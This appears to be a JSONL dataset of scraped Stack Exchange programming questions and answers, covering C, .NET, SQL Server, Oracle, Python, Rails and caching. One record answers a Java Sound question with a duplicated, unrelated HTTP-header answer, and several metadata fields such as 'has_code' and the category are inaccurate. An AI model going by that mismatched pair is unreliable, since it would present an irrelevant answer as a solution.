{"id": "hf_e1b407fa9140", "question": "<p>Is there a clean, preferably standard method of trimming leading and trailing whitespace from a string in C? I'd roll my own, but I would think this is a common problem with an equally common solution.</p>\n", "question_body": "", "answer": "If you can modify the string:\n```\n```\n// Note: This function returns a pointer to a substring of the original string.\n// If the given string was allocated dynamically, the caller must not overwrite\n// that pointer with the returned value, since the original pointer must be\n// deallocated using the same allocator with which it was allocated.  The return\n// value must NOT be deallocated using free() etc.\nchar *trimwhitespace(char *str)\n{\n  char *end;\n\n  // Trim leading space\n  while(isspace((unsigned char)*str)) str++;\n\n  if(*str == 0)  // All spaces?\n    return str;\n\n  // Trim trailing space\n  end = str + strlen(str) - 1;\n  while(end > str && isspace((unsigned char)*end)) end--;\n\n  // Write new null terminator character\n  end[1] = '\\0';\n\n  return str;\n}\n```\n```\nIf you can't modify the string, then you can use basically the same method:\n```\n```\n// Stores the trimmed input string into the given output buffer, which must be\n// large enough to store the result.  If it is too small, the output is\n// truncated.\nsize_t trimwhitespace(char *out, size_t len, const char *str)\n{\n  if(len == 0)\n    return 0;\n\n  const char *end;\n  size_t out_size;\n\n  // Trim leading space\n  while(isspace((unsigned char)*str)) str++;\n\n  if(*str == 0)  // All spaces?\n  {\n    *out = 0;\n    return 1;\n  }\n\n  // Trim trailing space\n  end = str + strlen(str) - 1;\n  while(end > str && isspace((unsigned char)*end)) end--;\n  end++;\n\n  // Set output size to minimum of trimmed string length and buffer size minus 1\n  out_size = (end - str) < len-1 ? (end - str) : len-1;\n\n  // Copy trimmed string and add null terminator\n  memcpy(out, str, out_size);\n  out[out_size] = 0;\n\n  return out_size;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.687033"}
{"id": "hf_6838639d85e6", "question": "<p>I have email addresses encoded with HTML character entities. Is there anything in .NET that can convert them to plain strings?</p>\n", "question_body": "", "answer": "Use\n```\nServer.HtmlDecode\n```\nto decode the HTML entities. If you want to\nescape\nthe HTML, i.e. display the\n```\n<\n```\nand\n```\n>\n```\ncharacter to the user, use\n```\nServer.HtmlEncode\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.727282"}
{"id": "hf_7fb1d434b279", "question": "<p>I'm looking for a simple, easy to understand algorithm to alphabetically sort an array of characters in C.</p>\n", "question_body": "", "answer": "Easy?  Do a bubble sort.\nThis is java and int rather than char, but you can easily adapt it...\n```\n```\nint[] bubble(int a[])\n    {\n    for (int i = a.length; --i>=0; )\n        {\n        for (int j = 0; j<i; j++)\n            {\n            if (a[j] > a[j+1])\n                {\n                int T = a[j];\n                a[j] = a[j+1];\n                a[j+1] = T;\n                }\n            }\n        }\n    return(a);\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.752789"}
{"id": "hf_c444ccac524c", "question": "<p>I've been too lax with performing DB backups on our internal servers. </p>\n\n<p>Is there a simple command line program that I can use to backup certain databases in SQL Server 2005? Or is there a simple VBScript? </p>\n", "question_body": "", "answer": "Schedule the following to backup all Databases:\n```\n```\nUse Master\n\nDeclare @ToExecute VarChar(8000)\n\nSelect @ToExecute = Coalesce(@ToExecute + 'Backup Database ' + [Name] + ' To Disk =     ''D:\\Backups\\Databases\\' + [Name]   + '.bak'' With Format;' + char(13),'')\nFrom\nMaster..Sysdatabases\nWhere\n[Name] Not In ('tempdb')\nand databasepropertyex ([Name],'Status') = 'online'\n\nExecute(@ToExecute)\n```\n```\nThere are also more details on my blog: how to\nAutomate SQL Server Express Backups\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.819160"}
{"id": "hf_c5d34c4644eb", "question": "<p>For example, I have an ASP.NET form that is called by another aspx:</p>\n\n<pre><code>string url = \"http://somewhere.com?P1=\" + Request[\"param\"];\nResponse.Write(url);\n</code></pre>\n\n<p>I want to do something like this:</p>\n\n<pre><code>string url = \"http://somewhere.com?P1=\" + Request[\"param\"];\nstring str = GetResponse(url);\nif (str...) {}\n</code></pre>\n\n<p>I need to get whatever Response.Write is getting as a result or going to url, manipulate that response, and send something else back.</p>\n\n<p>Any help or a point in the right direction would be greatly appreciated.</p>\n", "question_body": "", "answer": "```\n```\nWebClient client = new WebClient();\nstring response = client.DownloadString(url);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.843737"}
{"id": "hf_76eac92b98f5", "question": "<p>Is there a Java package providing funcionality like the .Net System.Data namespace ?\nSpecificaly the DataSet and Adaptor classes ?</p>\n", "question_body": "", "answer": "ADO.NET is a framework with multiple uses, and DataSet is one of the main abstractions. Tell us more about what you want to achieve, and I'm sure somebody will find a Java framework for that purpose.\nIf you want a simple way to map Java objects to a data backend (like XML files), take a look at some of the POJO (Plain Old Java Object) frameworks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.879075"}
{"id": "hf_9e725d695885", "question": "<p>I have a dilemma, I'm using Java and Oracle and trying to keep queries on PL/SQL side. Everything is OK, until I have these complex queries which may and may not have conditions. <br></p>\n\n<p>It's not hard in Java to put together <code>WHERE</code> clause with conditions, but it's not nice.\nAnd on PL/SQL side I also found out that the only possibility for <code>dynamic queries</code> is string manipulations like</p>\n\n<pre><code>IF inputname IS NOT NULL THEN    \n    query := query ||' and NAME=' || inputname; \nEND IF;\n</code></pre>\n\n<p>Now I'm thinking, I'm leaving query in PL/SQL and sending <code>WHERE</code> clause with function parameter.\nAny good recommendations or examples please?</p>\n", "question_body": "", "answer": "SQLBuilder\nmight be useful to you from the Java side.  It allows you to write compile-time checked Java code that dynamically builds sql:\n```\n```\nString selectQuery =\n  (new SelectQuery())\n  .addColumns(t1Col1, t1Col2, t2Col1)\n  .addJoin(SelectQuery.JoinType.INNER_JOIN, joinOfT1AndT2)\n  .addOrderings(t1Col1)\n  .validate().toString();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.903603"}
{"id": "hf_210a9e147257", "question": "<p>I have a dict, that looks like this:</p>\n\n<pre><code>{\n    'foo': {\n        'opt1': 1,\n        'opt2': 2,\n        },\n    'foo/bar': {\n        'opt3': 3,\n        'opt4': 4,\n        },\n    'foo/bar/baz': {\n        'opt5': 5,\n        'opt6': 6,\n        }\n    }\n</code></pre>\n\n<p>And I need to get it to look like:</p>\n\n<pre><code>{\n    'foo': {\n        'opt1': 1,\n        'opt2': 2,\n        'bar': {\n            'opt3': 3,\n            'opt4': 4,\n            'baz': {\n                'opt5': 5,\n                'opt6': 6,\n                }\n            }\n        }\n    }\n</code></pre>\n\n<p>I should point out that there can and will be multiple top-level keys ('foo' in this case). I could probably throw something together to get what i need, but I was hoping that there is a solution that's more efficient.</p>\n", "question_body": "", "answer": "Like this:\n```\n```\ndef nest(d):\n    rv = {}\n    for key, value in d.iteritems():\n        node = rv\n        for part in key.split('/'):\n            node = node.setdefault(part, {})\n        node.update(value)\n    return rv\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.990690"}
{"id": "hf_9ab0ed864b86", "question": "<p>When I try to display the contents of a LOB (large object) column in SQL*Plus, it is truncated.  How do I display the whole thing?</p>\n", "question_body": "", "answer": "```\n```\nSQL> set long 30000\nSQL> show long\nlong 30000\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.041323"}
{"id": "hf_aac00c400976", "question": "<p>There is no summary available of the big O notation for operations on the most common data structures including arrays, linked lists, hash tables etc.</p>\n", "question_body": "", "answer": "I guess I will start you off with the time complexity of a linked list:\nIndexing---->O(n)\nInserting / Deleting at end---->O(1) or O(n)\nInserting / Deleting in middle--->O(1) with iterator O(n) with out\nThe time complexity for the Inserting at the end depends if you have the location of the last node, if you do, it would be O(1) other wise you will have to search through the linked list and the time complexity would jump to O(n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.116902"}
{"id": "hf_997582ae5a57", "question": "<p>I am a developer for a .net application that uses ClickOnce for deployment. I have deployed it over 60 times and computers have not had any issues downloading the latest release. However, when I deployed this morning, the following error occurs when computers with Office 2007 installed tries to start the application:</p>\n\n<blockquote>\n  <p>Unable to install or run the application. The application requires that assembly stdole Version 7.0.3300.0 be installed in the Global Assembly Cache (GAC) first. Please contact your system administrator.</p>\n</blockquote>\n\n<p>However, computers with Office 2003 can start the application with no problem.</p>\n\n<p>Does anyone have any recommendations on resolving this issue?</p>\n", "question_body": "", "answer": "I am not sure about your particular problem, but the Office 12 version of the stdole library is different (and -in my experience- not always backwards compatible) than then one you have when you use Office 2003.\nWe use a wrapper around the Office DLLs to use the Mailmerge features Office has to offer and, believe it or not, Microsoft changed the interfaces\nagain\n, therefore we have to compile\ntwo\ndifferent wrappers, linked against\ntwo\ndifferent office versions. In short, a PITA.\nI am not coding against MS office again until they don't provide a Managed library.\nDespite the rant, I think that you should install Office 12 in your computer and test from there. You'll notice that all the Office stuff is different. If you can make it work under Office 12 it\nmay\nbe compatible with machines with Office 11 (also known as 2003), but don't count on it and test it before deploying anything.\nI don't think that this has anything to do with ClickOnce; it's more a GAC/OfficeVersion issue. Also, check for possible Vista problems, as the UAC and the DEP stuff tend to interfere with the way \"old\" applications used to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.208670"}
{"id": "hf_82f1343fbf4c", "question": "<p>I want to get the size of an http:/.../file before I download it. The file can be a webpage, image, or a media file. Can this be done with HTTP headers? How do I download just the file HTTP header?</p>\n", "question_body": "", "answer": "Can this be done with HTTP headers?\nYes, this is the way to go.\nIf\nthe information is provided, it's in the header as the\n```\nContent-Length\n```\n. Note, however, that this is not necessarily the case.\nDownloading only the header can be done using a\n```\nHEAD\n```\nrequest instead of\n```\nGET\n```\n. Maybe the following code helps:\n```\n```\nHttpWebRequest req = (HttpWebRequest)WebRequest.Create(\"http://example.com/\");\nreq.Method = \"HEAD\";\nlong len;\nusing(HttpWebResponse resp = (HttpWebResponse)(req.GetResponse()))\n{\n    len = resp.ContentLength;\n}\n```\n```\nNotice the property for the content length on the\n```\nHttpWebResponse\n```\nobject – no need to parse the\n```\nContent-Length\n```\nheader manually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.247671"}
{"id": "hf_9f3b55fc8604", "question": "<p>Anyone know if it is possible to write an app that uses the Java Sound API on a system that doesn't actually have a hardware sound device?</p>\n\n<p>I have some code I've written based on the API that manipulates some audio and plays the result but I am now trying to run this in a server environment, where the audio will be recorded to a file instead of played to line out.</p>\n\n<p>The server I'm running on has no sound card, and I seem to be running into roadblocks with Java Sound not being able to allocate any lines if there is not a Mixer that supports it. (And with no hardware devices I'm getting no Mixers.)</p>\n\n<p>Any info would be much appreciated -</p>\n\n<p>thanks.</p>\n", "question_body": "", "answer": "Can this be done with HTTP headers?\nYes, this is the way to go.\nIf\nthe information is provided, it's in the header as the\n```\nContent-Length\n```\n. Note, however, that this is not necessarily the case.\nDownloading only the header can be done using a\n```\nHEAD\n```\nrequest instead of\n```\nGET\n```\n. Maybe the following code helps:\n```\n```\nHttpWebRequest req = (HttpWebRequest)WebRequest.Create(\"http://example.com/\");\nreq.Method = \"HEAD\";\nlong len;\nusing(HttpWebResponse resp = (HttpWebResponse)(req.GetResponse()))\n{\n    len = resp.ContentLength;\n}\n```\n```\nNotice the property for the content length on the\n```\nHttpWebResponse\n```\nobject – no need to parse the\n```\nContent-Length\n```\nheader manually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.273134"}
{"id": "hf_78d4744e44c1", "question": "<p>So I've got some C code:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\n/* putting one of the \"char*\"s here causes a segfault */\nvoid main() {\n  char* path = \"/temp\";\n  char* temp;\n  strcpy(temp, path);\n}\n</code></pre>\n\n<p>This compiles, runs, and behaves as it looks. However, if one or both of the character pointers is declared as global variable, strcpy results in a segmentation fault. Why does this happen? Evidently there's an error in my understanding of scope.</p>\n", "question_body": "", "answer": "You forgot to allocate and initialize temp:\n```\n```\ntemp = (char *)malloc(TEMP_SIZE);\n```\n```\nJust make sure TEMP_SIZE is big enough. You can also calculate this at run-time, then make sure the size is enough (should be at least strlen(path))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.337870"}
{"id": "hf_bf6756807699", "question": "<p>I am working on an application that detects the most prominent rectangle in an image, then seeks to rotate it so that the bottom left of the rectangle rests at the origin, similar to how IUPR's <a href=\"http://demo.iupr.org/oscar/oscar.php\" rel=\"noreferrer\" title=\"OSCAR\">OSCAR</a> system works.  However, once the most prominent rectangle is detected, I am unsure how to take into account the depth component or z-axis, as the rectangle won't always be \"head-on\".  Any examples to further my understanding would be greatly appreciated.  Seen below is an example from IUPR's OSCAR system.</p>\n\n<p><a href=\"http://quito.informatik.uni-kl.de/oscar/oscar.php?serverimage=img_0324.jpg&amp;montage=use\" rel=\"noreferrer\" title=\"Rotation Example\">alt text http://quito.informatik.uni-kl.de/oscar/oscar.php?serverimage=img_0324.jpg&amp;montage=use</a></p>\n", "question_body": "", "answer": "You don't actually need to deal with the 3D information in this case, it's just a mappping function, from one set of coordinates to another.\nLook at affine transformations, they're capable of correcting simple skew and perspective effects. You should be able to find code somewhere that will calculate a transform from the 4 points at the corners of your rectangle.\nAlmost forgot - if \"fast\" is really important, you could simplify the system to only use simple shear transformations in combination, though that'll have a bad impact on image quality for highly-tilted subjects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.391672"}
{"id": "hf_079598c070f5", "question": "<p>As someone who is only barely proficient in javascript, is jQuery right for me?  Is there a better library to use?  I've seen lots of posts related to jQuery and it seems to be the most effective way to incorporate javascript into ASP.NET applications.</p>\n\n<p>I've been out to <a href=\"http://jquery.com/\" rel=\"noreferrer\">jQuery's</a> site and have found the tutorials and other helpful information.  Any other reference material (i.e books, blogs, etc.) would be helpful.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Pros: you don't have to deal with the tangled mess that is cross-platform Javascript compatibility. You don't have to worry about which browsers support standard event handlers and which have their own event systems. You don't have to write two hundred lines of DOM manipulation withHugeLongFunctionNamesFromHell to get nice dynamic pages.\nCons: It's an extra 15KB of code your users have to download the first time they load your page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.417146"}
{"id": "hf_0040858371dc", "question": "<p>I have a file. I want to get its contents into a blob column in my oracle database or into a blob variable in my PL/SQL program. What is the best way to do that?</p>\n", "question_body": "", "answer": "Depends a bit on your environment.  In Java you could do it something like this...\n```\n```\n// Need as OracleConnection in mConnection\n\n// Set an EMPTY_BLOB()\nString update = \"UPDATE tablename\"+\n                \" SET   blob_column = EMPTY_BLOB()\"+\n                \" WHERE  ID = \"+id;\nCallableStatement stmt = mConnection.prepareCall(update);\nstmt.executeUpdate();\n\n// Lock the row FOR UPDATE\nString select    = \"BEGIN \" +\n                        \"  SELECT \" + blob_column\n                        \"  INTO ? \" +\n                        \"  FROM \" + tablename +\n                        \"  WHERE  ID = '\" + id + \"'\" +\n                        \"  FOR UPDATE; \" +\n                        \"END;\";\n\nstmt = mConnection.prepareCall(select);\nstmt.registerOutParameter(1, java.sql.Types.BLOB);\nstmt.executeUpdate();\n\nBLOB blob = (BLOB) stmt.getBlob(1);\nOutputStream bos = blob.setBinaryStream(0L);\nFileInputStream fis = new FileInputStream(file);\n//  Code needed here to copy one stream to the other\nfis.close();\nbos.close();\nstmt.close();\n\nmConnection.commit();\n```\n```\nBut it really depends what environment / tools you're using.  More info needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.441756"}
{"id": "hf_ce15f45edd8d", "question": "<p>Does anyone know any implementation of a templated cache of objects?</p>\n\n<ul>\n<li>You use a key to find object (the same as in std::map&lt;>)</li>\n<li>You specify a maximum number of objects that can be in the cache at the same time</li>\n<li>There are facilities to create an object not found in the cache</li>\n<li>There are facilities to know when an object is discarded from the cache</li>\n</ul>\n\n<p>For example : </p>\n\n<pre><code>typedef cache&lt;int, MyObj*&gt; MyCache;\nMyCache oCache;\noCache.SetSize(1);\noCache.Insert(make_pair(1, new MyObj());\noCache.Touch(1);\nMyObj* oldObj = oCache.Delete(1);\n\n...\n</code></pre>\n\n<p>It can be as simple as a LRU or MRU cache.</p>\n\n<p>Any suggestions are welcomed!</p>\n\n<p>Nic</p>\n", "question_body": "", "answer": "In an application I can hardly imagine it would speed/boost up performance to store objects that apparently can be re-created (hip: since they can be automatically discarded, when the cache tops).\nA sw cache would require memory-fetching through associativism code, surely slower then memory allocation and constructor running (mostly memory initializations).\nWith the exception of manual user configuration to avoid the paging mechanism (precisely to boost performance, btw), most OS \"caches\" memory for you on disk... it's \"paging\", a form of \"high-cost caching\", because nothing gets thrown away, and it's done by specific HW, a sub-processing unit called Memory Management Unit...\nA caching-code, in the big picture, would be slowing processes while being redundant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.466868"}
{"id": "hf_1e2fd24d9d21", "question": "<p>I have a table <code>UserAliases</code> (<code>UserId, Alias</code>) with multiple aliases per user. I need to query it and return all aliases for a given user, the trick is to return them all in one column.</p>\n\n<p>Example:</p>\n\n<pre><code>UserId/Alias  \n1/MrX  \n1/MrY  \n1/MrA  \n2/Abc  \n2/Xyz\n</code></pre>\n\n<p>I want the query result in the following format:</p>\n\n<pre><code>UserId/Alias  \n1/ MrX, MrY, MrA  \n2/ Abc, Xyz\n</code></pre>\n\n<p>Thank you.</p>\n\n<p>I'm using SQL Server 2005.</p>\n\n<p>p.s. actual T-SQL query would be appreciated :)</p>\n", "question_body": "", "answer": "group_concat() sounds like what you're looking for.\nhttp://dev.mysql.com/doc/refman/5.0/en/group-by-functions.html#function_group-concat\nsince you're on mssql, i just googled \"group_concat mssql\" and found a bunch of hits to recreate group_concat functionality.  here's one of the hits i found:\nhttp://www.stevenmapes.com/index.php?/archives/23-Recreating-MySQL-GROUP_CONCAT-In-MSSQL-Cross-Tab-Query.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.528268"}
{"id": "hf_22a50b298f4d", "question": "<p>I need a way to modify a value in a table after a certain amount of time has passed.  My current method is as follow:</p>\n\n<ul>\n<li>insert end time for wait period in table</li>\n<li>when a user loads a page requesting the value to be changed, check to see if current >= end time</li>\n<li>if it is, change the value and remove the end time field, if it isn't, do nothing</li>\n</ul>\n\n<p>This is going to be a major feature on the site, and so efficiency is the key; with that in mind, you can probably see the problem with how I'm doing it.  That same chunk of code is going to be called every time someone access a page that needs the information.</p>\n\n<p>Any suggestions for improvements or better methods would be greatly appreciated, preferably in php or perl.</p>\n\n<p>In response to cron job answers:\nThanks, and I'd like to do something like that if possible, but hosts limits are the problem.  Since this is a major part of the app, it can't be limited.  </p>\n", "question_body": "", "answer": "Can you use a cron job to check each field in the database periodically and update that way?\nA big part of this is how frequently the updates are required.  A lot of shared hosts limit the frequency of cron checks, for example no more than every 15 minutes, which could affect the application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.566166"}
{"id": "hf_aad61e18810e", "question": "<p>So I've got maybe 10 objects each of which has 1-3 dependencies (which I think is ok as far as loose coupling is concerned) but also some settings that can be used to define behavior (timeout, window size, etc).</p>\n\n<p>Now before I started using an Inversion of Control container I would have created a factory and maybe even a simple ObjectSettings object for each of the objects that requires more than 1 setting to keep the size of the constructor to the recommended \"less than 4\" parameter size.  I am now using an inversion of control container and I just don't see all that much of a point to it.  Sure I might get a constructor with 7 parameters, but who cares?  It's all being filled out by the IoC anyways.</p>\n\n<p>Am I missing something here or is this basically correct?</p>\n", "question_body": "", "answer": "G'day George,\nFirst off, what are the dependencies between the objects?\nLots of \"isa\" relationships? Lots of \"hasa\" relationships?\nLots of fan-in? Or fan-out?\nGeorge's response: \"has-a mostly, been trying to follow the composition over inheritance advice...why would it matter though?\"\nAs it's mostly \"hasa\" you should be all right.\nBetter make sure that your construction (and destruction) of the components is done correctly though to prevent memory leaks.\nAnd, if this is in C++, make sure you use virtual destructors?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.631952"}
{"id": "hf_8e86703cb31b", "question": "<p>I can't quite figure this out. Microsoft Access 2000, on the report total section I have totals for three columns that are just numbers. These <code>=Sum[(ThisColumn1)], 2, 3</code>, etc and those grand totls all work fine.  </p>\n\n<p>I want to have another column that says <code>=Sum([ThisColumn1])+Sum([ThisColumn2]) + Sum([ThisColumn3])</code> but can't figure those one out. Just get a blank so I am sure there is an error.</p>\n", "question_body": "", "answer": "Give the 3 Grand Totals meaningful Control Names and then for the Grand Grand Total use:\n```\n```\n=[GrandTotal1] + [GrandTotal2] + [GrandTotal3]\n```\n```\nYour Grand Total formulas should be something like:\n```\n```\n=Sum(Nz([ThisColumn1], 0))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.667032"}
{"id": "hf_afbfda8ab5e4", "question": "<p>Pros. and cons? how long do you use it? What about jambi?</p>\n", "question_body": "", "answer": "I've used Qt on a couple of projects I did in c++ on several platforms over a period of seven years.  I think it works pretty well and definitely was quicker for me to develop a decent GUI app on the Mac than plodding through a language I didn't know (Objective-C) at the time.\nI think the signal/slot mechanism is a bit funky but isn't horrible.  Once you're use it for a bit, it's not a show stopper.  The connection stuff is easy to bungle up (or at least it was) and it's always good to check the return on those because your app will go merrily on its way and not tell you that it didn't work.\nI've never used jambi.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.691992"}
{"id": "hf_b1fd8f7703df", "question": "<p>I've never used the Global Temporary Tables however I have some questions how they will work in a php environment.</p>\n\n<p>How is data shared: Assuming persistent connections to oracle through php using oci8.  Is the data tied to a database id? is it done based on the Apache httpd demons?  Or is each individual request unique?</p>\n\n<p>When is the data for the session cleared from the global temporary table? I'm assuming (or rather hoping) that its done when the php script exits.  Alternatively if not I'm assuming I'll need to remove it before script exit.</p>\n", "question_body": "", "answer": "If I remember correct, the data in global temporary tables is available only from one active session and only for this active session (I mean session = connection). So you can see only data which was inserted before in active session. Therefore I belive, this data is cleared after closing session. No matter which language are you using.\nAt least I think so. :D\nAs is it written here:\nhttp://www.oracle-base.com/articles/8i/TemporaryTables.php\nThe data in a global temporary table is private, such that data inserted by a session can only be accessed by that session.\nData in temporary tables is automatically delete at the end of the database session, even if it ends abnormally.\nSorry for my bad english.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.716307"}
{"id": "hf_6be9fce33d2d", "question": "<p>How to do paging in Pervasive SQL (version 9.1)? I need to do something similar like:</p>\n\n<pre><code>//MySQL\nSELECT foo FROM table LIMIT 10, 10\n</code></pre>\n\n<p>But I can't find a way to define offset.</p>\n", "question_body": "", "answer": "I face this problem in MS Sql too... no Limit or rownumber functions. What I do is insert the keys for my final query result (or sometimes the entire list of fields) into a temp table with an identity column... then I delete from the temp table everything outside the range I want... then use a join against the keys and the original table, to bring back the items I want. This works if you have a nice unique key - if you don't, well... that's a design problem in itself.\nAlternative with slightly better performance is to skip the deleting step and just use the row numbers in your final join. Another performance improvement is to use the TOP operator so that at the very least, you don't have to grab the stuff past the end of what you want.\nSo... in pseudo-code... to grab items 80-89...\n```\n```\ncreate table #keys (rownum int identity(1,1), key varchar(10))\n\ninsert #keys (key)\nselect TOP 89 key from myTable ORDER BY whatever\n\ndelete #keys where rownumber < 80\n\nselect <columns> from #keys join myTable on #keys.key = myTable.key\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.765948"}
{"id": "hf_28f2d6d2fce8", "question": "<p>On destruction of a restful resource, I want to guarantee a few things before I allow a destroy operation to continue? Basically, I want the ability to stop the destroy operation if I note that doing so would place the database in a invalid state? There are no validation callbacks on a destroy operation, so how does one \"validate\" whether a destroy operation should be accepted?</p>\n", "question_body": "", "answer": "You can raise an exception which you then catch. Rails wraps deletes in a transaction, which helps matters.\nFor example:\n```\n```\nclass Booking < ActiveRecord::Base\n  has_many   :booking_payments\n  ....\n  def destroy\n    raise \"Cannot delete booking with payments\" unless booking_payments.count == 0\n    # ... ok, go ahead and destroy\n    super\n  end\nend\n```\n```\nAlternatively you can use the before_destroy callback. This callback is normally used to destroy dependent records, but you can throw an exception or add an error instead.\n```\n```\ndef before_destroy\n  return true if booking_payments.count == 0\n  errors.add :base, \"Cannot delete booking with payments\"\n  # or errors.add_to_base in Rails 2\n  false\n  # Rails 5\n  throw(:abort)\nend\n```\n```\n```\nmyBooking.destroy\n```\nwill now return false, and\n```\nmyBooking.errors\n```\nwill be populated on return.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.790418"}
